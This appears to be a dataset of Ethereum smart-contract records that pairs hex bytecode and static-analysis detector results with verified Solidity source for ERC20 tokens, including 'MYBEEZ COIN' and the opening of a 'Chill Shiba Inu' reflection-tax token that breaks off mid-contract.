fffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60026020528060005260406000206000915090505481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dbc57600080fd5b610dd7670de0b6b3a764000083611dd490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610e3f57506000610e3d670de0b6b3a764000084611dd490919063ffffffff16565b115b1515610e4a57600080fd5b610eb6610e68670de0b6b3a764000084611dd490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f65610f17670de0b6b3a764000084611dd490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611012670de0b6b3a764000086611dd490919063ffffffff16565b6040518082815260200191505060405180910390a36001905092915050565b601281565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109557600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110e357600080fd5b33905061113883600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9f90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119083600054611d9f90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b670de0b6b3a764000081565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561130b576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061139f565b61131e8382611d9f90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f475343500000000000000000000000000000000000000000000000000000000081525081565b6000808214156115a7578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36117c5565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115e357600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561163157600080fd5b61168382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171882600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600061185c82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a325750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1515611a3d57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b1e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b5a57600080fd5b611c0d60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db890919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a350565b6000828211151515611dad57fe5b818303905092915050565b60008183019050828110151515611dcb57fe5b80905092915050565b600080831415611de75760009050611e06565b8183029050818382811515611df857fe5b04141515611e0257fe5b8090505b929150505600a165627a7a723058201064a901da1c79b00c1e144cb47beedc4cfd6869ec1073af96c010ce2786c3600029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 1,625 |
0x1bb3bbaca9ae82d5bc5eae512c997dd347b34881
|
/**
*Submitted for verification at Etherscan.io on 2021-07-27
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'MYBEEZ COIN' contract
//
// Symbol : MBC
// Name : MYBEEZ COIN
// Total supply: 10 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MBC is BurnableToken {
string public constant name = "MYBEEZ COIN";
string public constant symbol = "MBC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 10000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600b81526020017f4d594245455a20434f494e00000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6402540be4000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4d4243000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea2646970667358221220aad31dcfa0b2b528133765b99686b6e566ef98e2a04cd62589045f2eebd8ab2664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 1,626 |
0x2eF517C0D4e70057f21495E2b13Fa331BfCd68e5
|
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// SPDX-License-Identifier: UNLICENSED
/**
The New SHIBA is born, on the A Ethereum (ETH) blockchain.
CHILLSHIBA Inu will have his place in the top tokens of the market with a community like no other, an army.
https://t.me/ChillShibaInu
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ChillShibaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Chill Shiba Inu";
string private constant _symbol = "CHILLSHIBA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(_msgSender());
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
